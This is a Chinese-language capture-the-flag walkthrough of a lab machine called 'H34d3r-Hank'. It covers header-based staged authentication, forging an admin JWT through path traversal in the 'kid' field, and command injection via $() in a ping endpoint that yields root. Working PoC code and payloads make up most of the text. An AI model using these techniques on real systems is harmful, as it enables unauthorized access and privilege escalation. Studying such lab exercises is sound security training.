# H34d3r-Hank

## 1. 信息收集

先扫端口：

```
nmap 192.168.74.134
```

结果：

```
└─$ nmap 192.168.74.134
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-23 01:04
-0400
Nmap scan report for 192.168.74.134
Host is up (0.000099s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:92:AB:49 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.70 seconds
```

说明攻击面主要在 Web。

## 2. Web 初始突破

```
└─$ curl -i http://192.168.74.134/
HTTP/1.1 200 OK
Content-Length: 107
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Tue, 23 Jun 2026 05:06:58 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
```

```
Server: Apache/2.4.67 (Unix)
X-Accepted-Headers: User-Agent
X-Hint-Stage: 1
X-Powered-By: PHP/8.3.31
X-Required-Ua: Matryoshka-Bot/1.0

{"status":"fail","current_stage":1,"accepted_headers":["Use
r-Agent"],"msg":"Access Denied: Invalid Agent."}
```

按提示带上所需求的UA，得到新提示：

```
└─$ curl -i -H 'User-Agent: Matryoshka-Bot/1.0' http://192.
168.74.134/
HTTP/1.1 200 OK
Content-Length: 125
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Tue, 23 Jun 2026 05:05:55 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Server: Apache/2.4.67 (Unix)
X-Accepted-Headers: User-Agent, X-Stage
X-Hint-Stage: 2
X-Next-Stage: challenge_start
X-Powered-By: PHP/8.3.31

{"status":"fail","current_stage":2,"accepted_headers":["Use
r-Agent","X-Stage"],"msg":"Stage 1 Clear. Advance to next s
tage."}
```

继续带上新提示，返回：

```
└─$ curl -i -H 'User-Agent: Matryoshka-Bot/1.0' -H 'X-Stag
e: challenge_start' http://192.168.74.134/
HTTP/1.1 200 OK
Content-Length: 142
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
```

```
Date: Tue, 23 Jun 2026 05:07:38 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Server: Apache/2.4.67 (Unix)
X-Accepted-Headers: User-Agent, X-Stage, X-Auth
X-Expected-Auth: sha256(UA + Salt)
X-Hint-Salt: mAtRy0sHk4_2026
X-Hint-Stage: 3
X-Powered-By: PHP/8.3.31

{"status":"fail","current_stage":3,"accepted_headers":["User-Agent","X-Stage","X-Auth"],"msg":"Stage 2 Clear. Auth hash missing or mismatch."}
```

所以：

```
X-Auth = sha256("Matryoshka-Bot/1.0" + "mAtRy0sHk4_2026")
```

计算：

```
import hashlib
ua = 'Matryoshka-Bot/1.0'
salt = 'mAtRy0sHk4_2026'
print(hashlib.sha256((ua + salt).encode()).hexdigest())
```

结果：

```
7b59aad06ca201fcdf0a2845932b323c5bfa6e191614f115b613d3b145b49dbf
```

带上 `X-Auth` 再访问，返回：

```
└─$ curl -i -H 'User-Agent: Matryoshka-Bot/1.0' -H 'X-Stage: challenge_start' -H 'X-Auth: 7b59aad06ca201fcdf0a2845932b323c5bfa6e191614f115b613d3b145b49dbf' http://192.168.74.134/
HTTP/1.1 200 OK
Content-Length: 167
```

```
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Tue, 23 Jun 2026 05:08:12 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Server: Apache/2.4.67 (Unix)
X-Accepted-Headers: User-Agent, X-Stage, X-Auth, X-Signatur
e
X-Expected-Signature: md5(Auth + Secret + TimeStep)
X-Hint-Secret: OWUyZF9oaWRkZW5fc3RhdGU=
X-Hint-Stage: 4
X-Powered-By: PHP/8.3.31
X-Time-Step: 178219129

{"status":"fail","current_stage":4,"accepted_headers":["Use
r-Agent","X-Stage","X-Auth","X-Signature"],"msg":"Stage 3 C
lear. Signature verification failed or expired."}
```

`Secret = base64_decode("OWUyZF9oaWRkZW5fc3RhdGU=") = 9e2d_hidden_state`

计算签名，带上最终头：

```
import requests
import hashlib
url = "http://192.168.74.134/"
ua = "Matryoshka-Bot/1.0"
auth = hashlib.sha256((ua + "mAtRy0sHk4_2026").encode()).he
xdigest()
headers = {"User-Agent": ua, "X-Stage": "challenge_start",
"X-Auth": auth}
r1 = requests.get(url, headers=headers)
step = r1.headers.get("X-Time-Step")
sig = hashlib.md5((auth + "9e2d_hidden_state" + step).encod
e()).hexdigest()
headers["X-Signature"] = sig
r2 = requests.get(url, headers=headers)
print(r2.headers.get("X-Flag"))
```

成功后响应头给出：

```
X-Flag: bWlrYXNhOjAwYjc4ZGMx
```

解码结果：

```
mikasa:00b78dc1
```

登录后先拿用户 flag：

```
mikasa@H34d3r:~$ ls
user.txt
mikasa@H34d3r:~$ cat user.txt
flag{user-00b78dc16d1de177d9a76116203f4d43}
```

## 3. 提权信息收集

常规检查：

```
id
sudo -l
ps auxww
ss -lntup
```

关键发现：

```
mikasa@H34d3r:~$ id
uid=1000(mikasa) gid=1000(mikasa) groups=1000(mikasa)
mikasa@H34d3r:~$ sudo -l
[sudo] password for mikasa:
sudo: a password is required
mikasa@H34d3r:~$ ss -lntup
Netid          State           Recv-Q          Send-Q
Local Address:Port                      Peer Address:Port
Process
tcp            LISTEN          0               128
0.0.0.0:22                            0.0.0.0:*
tcp            LISTEN          0               128
127.0.0.1:5000                          0.0.0.0:*
```

```
tcp            LISTEN          0                511
*:80                                  *:*
tcp            LISTEN          0                128
[::]:22
```

```
3285 root      0:01 /usr/bin/python3 /opt/maze-web/app.py
```

在靶机内用 Python 请求：

```
python3 - <<'PY'
import urllib.request
print(urllib.request.urlopen('http://127.0.0.1:5000/').read
().decode())
PY
```

页面源码里直接泄露开发备注：

```
<!-- DEV NOTES:
     Test User: guest / guest123
-->
```

同时前端 JS 还暴露两个关键接口：

- `POST /api/login`
- `GET /api/admin/ping?host=...`

# 4. JWT 伪造

## 4.1 guest 登录测试

```
mikasa@H34d3r:~$ python3 - <<'PY'
import urllib.request, json
data = json.dumps({"username":"guest","password":"guest12
3"}).encode()
req = urllib.request.Request(
    'http://127.0.0.1:5000/api/login',
    data=data,
    headers={'Content-Type':'application/json'},
```

```
    method='POST'
)
print(urllib.request.urlopen(req).read().decode())
PY
{"token":"eyJhbGciOiJIUzI1NiIsImtpZCI6Im1hemUtZGVmYXVsdC5rZXkiLCJ0eXAiOiJKV1QifQ.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3ODIxOTAxMTl9.TUVUj4GWK6n6eGw2svK4oSS1e6wiULBKGuMuYUQbHqE"}
```

返回一个 JWT，解码后头部为：

```
{"alg":"HS256","kid":"maze-default.key","typ":"JWT"}
```

这里的关键点是：`kid` **可控**。

结合服务目录：

```
/opt/keys/maze-default.key
```

很容易想到后端可能会按 `kid` 去读密钥文件，于是尝试目录穿越：

```
kid = ../../etc/hostname
```

本机 hostname 为：

```
H34d3r
```

用它作为 HMAC 密钥，伪造管理员 JWT。

## 4.2 伪造 admin JWT PoC

```
import json, base64, hmac, hashlib, time

def b64u(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
```

```
def forge_jwt():
    header = {
        "alg": "HS256",
        "kid": "../../etc/hostname",
        "typ": "JWT"
    }
    payload = {
        "username": "admin",
        "role": "admin",
        "iat": int(time.time())
    }

    key = b"H34d3r"

    h = b64u(json.dumps(header, separators=(',', ':')).enco
de())
    p = b64u(json.dumps(payload, separators=(',', ':')).enc
ode())
    sig = b64u(hmac.new(key, f"{h}.{p}".encode(), hashlib.s
ha256).digest())
    return f"{h}.{p}.{sig}"

print(forge_jwt())
```

验证:

```
mikasa@H34d3r:~$ python3 - <<'PY'
import urllib.request, urllib.parse, urllib.error

token = "eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uL2V0Yy9ob3N0bm
FtZSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6
ImFkbWluIiwiaWF0IjoxNzgyMTkwMjQ3fQ.M5Ko4d7AwiUInFE3XdL7t_Cv
whQk1DMrZSP-cx_2FC0"
url = 'http://127.0.0.1:5000/api/admin/ping?host=127.0.0.1'
req = urllib.request.Request(url, headers={'Authorization':
'Bearer ' + token})

try:
```

```
    print(urllib.request.urlopen(req).read().decode())
except urllib.error.HTTPError as e:
    print(e.read().decode())
PY
{"output":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 by
tes from 127.0.0.1: seq=0 ttl=64 time=0.063 ms\n\n--- 127.
0.0.1 ping statistics ---\n1 packets transmitted, 1 packets
received, 0% packet loss\nround-trip min/avg/max = 0.063/0.
063/0.063 ms\n","status":"ok"}
```

返回正常 `ping` 结果，说明管理员身份伪造成功。

## 5. 命令注入提权

`/api/admin/ping` 很明显会把 `host` 参数拼进 `ping` 命令。

简单测试：

- `;`、`|`、`&&` 会被 WAF 拦截
- 但是 `` `...` `` 和 `$(...)` 可以执行

例如：

```
127.0.0.1$(id>/tmp/id_from_ping)
```

执行后可读出：

```
cat /tmp/id_from_ping
```

结果：

```
uid=0(root) gid=0(root) groups=0(root),...
```

说明这个接口是 **root 权限命令执行**。

## 6. 读取 root flag

最终 payload：

```
127.0.0.1$(cat /root/root.txt>/tmp/root_from_ping)
```

```
mikasa@H34d3r:~$ python3 - <<'PY'
import urllib.request, urllib.parse, urllib.error
token = "eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uL2V0Yy9ob3N0bmFtZSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzgyMTkwMjQ3fQ.M5Ko4d7AwiUInFE3XdL7t_CvwhQk1DMrZSP-cx_2FC0"
payload = '127.0.0.1$(cat /root/root.txt>/tmp/root_from_ping)'
url = 'http://127.0.0.1:5000/api/admin/ping?host=' + urllib.parse.quote(payload)
req = urllib.request.Request(url, headers={'Authorization': 'Bearer ' + token})
try:
    urllib.request.urlopen(req).read().decode()
except urllib.error.HTTPError as e:
    print(e.read().decode())
PY
mikasa@H34d3r:~$ cat /tmp/root_from_ping
flag{root-3e40f28d4759c8d0a93cf7693086565d}
```

拿到:

```
flag{root-3e40f28d4759c8d0a93cf7693086565d}
```